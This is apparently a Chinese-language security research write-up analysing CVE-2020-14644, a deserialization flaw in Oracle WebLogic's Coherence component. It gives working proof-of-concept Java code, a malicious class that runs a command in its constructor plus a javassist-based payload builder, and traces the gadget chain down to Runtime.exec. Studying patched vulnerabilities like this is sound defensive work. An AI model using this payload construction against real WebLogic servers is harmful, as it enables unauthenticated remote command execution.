简介
2020年7月,Oracle发布了关键升级补丁(Critical Patch Update),其中包含编号为CVE-2020-14644 的漏洞修复。
WebLogic的核心coherence
组件存在严重的安全漏洞,可以在无需账户登录的情况下,通过发送精心恶意的IIOP协议数据包,进行反序列化攻击完成远程任意命令执行。
受影响的版本:
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
漏洞复现
漏洞环境:
- java version "1.8.0_112"
- WebLogic 12.2.1.4.0(WebLogic 12.2.1.3.0进行测试失败,不知为何coherence组件不完整)
- IDEA DEBUG
- 使用github项目进行攻击与分析
看看整个项目的结构:
相关代码包含三个文件:
App为攻击项目的入口,POC构造的逻辑,字节码处理等
test为包含恶意命令类,会被App进行字节码处理
Serializables为序列化工具类
lib库包含两个jar文件,同样需要添加到项目中
WebLogic 12.2.1.4.0可以使用项目自带的,其他的版本最好使用和目标版本一致的
coherence.jar的位置
/Users/rai4over/Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar
wlfullclient.jar需要手动生成
java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar
运行后在会生成wlfullclient.jar,路径为:
~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar
然后可以使用脚本进行攻击,因为有回显的,所以需要运行两次
javassist
javassist
是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
Ysoserial
在生成Payload中也是使用的javassist
类库。
几个重要的Javassist类对象:
ClassPool
:一个基于Hashtable
实现的CtClass
对象容器,其中键名是类名称,值是表示该类的CtClass
对象。CtClass
:CtClass
表示类,一个CtClass
(编译时类)对象可以处理一个class
文件,这些CtClass
对象可以从ClassPool
获得。CtMethods
:表示类中的方法。CtFields
:表示类中的字段。
创建ClassPool
对象
//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();
使用的是默认系统的类搜索路径获取ClassPool
对象
添加类搜索路径
pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");
将类搜索路径插入到搜索路径,或者将目录作为类搜索路径
查找并获取CtClass
对象
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
依据key
从Hash
表中查找对应的CtClass
对象
CtClass
可被修改
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));
修改并设置父类
byte[] b = ctClass.toBytecode();
获取修改后的字节码
Class clazz = ctClass.toClass();
转换成Class
对象
分析
为了方便分析,可以简化攻击代码,本地模拟序列化和反序列化的过程,完成攻击。
test1.java
package org.unicodesec;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;
import java.io.IOException;
import java.rmi.RemoteException;
public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {
public test1() throws IOException {
String cmd = "touch /tmp/rai4over";
Runtime.getRuntime().exec(cmd);
}
@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}
@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
}
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String s) throws RemoteException {
return null;
}
}
test1实现com.tangosol.internal.util.invoke.Remotable
和ClusterMasterRemote
接口,并且在无参数的构造函数中包含执行的命令。
RCETEST.java
package org.unicodesec;
import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
public class RCETEST {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.unicodesec.test1.class.getName());
ctClass.replaceClassName(org.unicodesec.test1.class.getName(), org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
byte[] obj = Serializables.serialize(constructor);
Serializables.deserialize(obj);
}
}
大致为使用javassist
修改恶意的test1.java
的字节码文件,这里和ysoserial-payloads-CommonsCollections2
的操作是一个套路,装入恶意的RemoteConstructor
对象并序列化,然后反序列化触发。
Gadget chain
开始分析POC的构造,首先是new ClassIdentity(org.unicodesec.test1.class)
,将恶意test1的class作为参数传入创建ClassIdentity
对象。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)
clazz.getPackage().getName().replace('.', '/')
获取包名并替换后为org/unicodesec
clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1)
获取类名并截取后变为test1
Base.toHex(md5(clazz))
为MD5值81646C2598E743F9FE254AB93A0FBE14
然后传递到另一个构造参数。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.String, java.lang.String, java.lang.String)
分别赋值给m_sPackage
、m_sVersion
、m_sBaseName
成员,然后返回ClassIdentity
类的实例化对象。
接着创建ClassPool
对象,org.unicodesec.test1.class.getName()
也就是test1
,修改类名为org.unicodesec.test1$81646C2598E743F9FE254AB93A0FBE14
,接着将修改后test1
的字节码和生成ClassIdentity
对象作为参数创建ClassDefinition
对象。
com.tangosol.internal.util.invoke.ClassDefinition#ClassDefinition(com.tangosol.internal.util.invoke.ClassIdentity, byte[])
将传入的ClassIdentity
对象和test1
字节码文件分别存储,然后还获取了ClassName
并进行长度判断。创建的ClassDefinition
对象又会作为参数创建RemoteConstructor
对象。
com.tangosol.internal.util.invoke.RemoteConstructor#RemoteConstructor(com.tangosol.internal.util.invoke.ClassDefinition, java.lang.Object[])
第二个参数是空的,整个RemoteConstructor
对象结构如下:
RemoteConstructor
对象中包含创建和修改的各个对象。
整个恶意类接下来就是使用Serializables
工具类序列化RemoteConstructor
对象,然后模拟Weblogic中IIOP通讯,反序列化该对象。
com.tangosol.internal.util.invoke.RemoteConstructor#readResolve
和之前常见的java反序列化readObject
作为入口不同,这次的问题出在用于检查反序列化对象是否唯一readResolve
(单例模式),然后调用newInstance
。
com.tangosol.internal.util.invoke.RemoteConstructor#newInstance
获取继承ClassLoader
对象的RemotableSupport
对象,然后将RemoteConstructor
传入support.realize
函数。
com.tangosol.internal.util.invoke.RemotableSupport#realize
首先constructor.getDefinition()
获取了ClassDefinition
对象,然后传入registerIfAbsent
函数
com.tangosol.internal.util.invoke.ClassDefinition
根据ID
将ClassDefinition
对象存储在MAP类的this.f_mapDefinitions
中,然后返回ClassDefinition
对象
com.tangosol.internal.util.invoke.RemotableSupport#f_mapDefinitions
返回到realize,然后调用definition.setRemotableClass(this.defineClass(definition))
,先看this.defineClass
。
com.tangosol.internal.util.invoke.RemotableSupport#defineClass
com.tangosol.internal.util.invoke.ClassDefinition#getBytes
definition.getBytes()
会返回test1
的字节码
java.lang.ClassLoader#defineClass(java.lang.String, byte[], int, int)
RemotableSupport
对象利用继承ClassLoader
的defineClass
方法加载test1
的字节码,返回test1-Class
对象传入definition.setRemotableClass
方法。
com.tangosol.internal.util.invoke.ClassDefinition#setRemotableClass
将test1-Class
对象存入ClassDefinition
对象的m_clz,然后通过getDeclaredConstructors
获取test1的构造函数数组。
构造函数数量为1,进入if分支,使用MethodHandles
查找类中的构造方法,并存储到m_mhCtor
成员。
java.lang.invoke.MethodHandles.Lookup#findConstructor
返回到realize
函数,调用definition.createInstance
函数
com.tangosol.internal.util.invoke.ClassDefinition#createInstance
这里是一个链式调用,跟进this.getConstructor
com.tangosol.internal.util.invoke.ClassDefinition#getConstructor
会返回存储test1
构造函数的MethodHandle
对象,构造函数中包含恶意命令,然后反射执行构造函数,完成任意命令执行,此时的调用栈为:
exec:347, Runtime (java.lang)
<init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec)
newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1148, ObjectStreamClass (java.io)
readOrdinaryObject:1817, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:27, Serializables (org.unicodesec)
deserialize:22, Serializables (org.unicodesec)
main:22, RCETEST (org.unicodesec)
参考
https://www.oracle.com/security-alerts/cpujul2020.html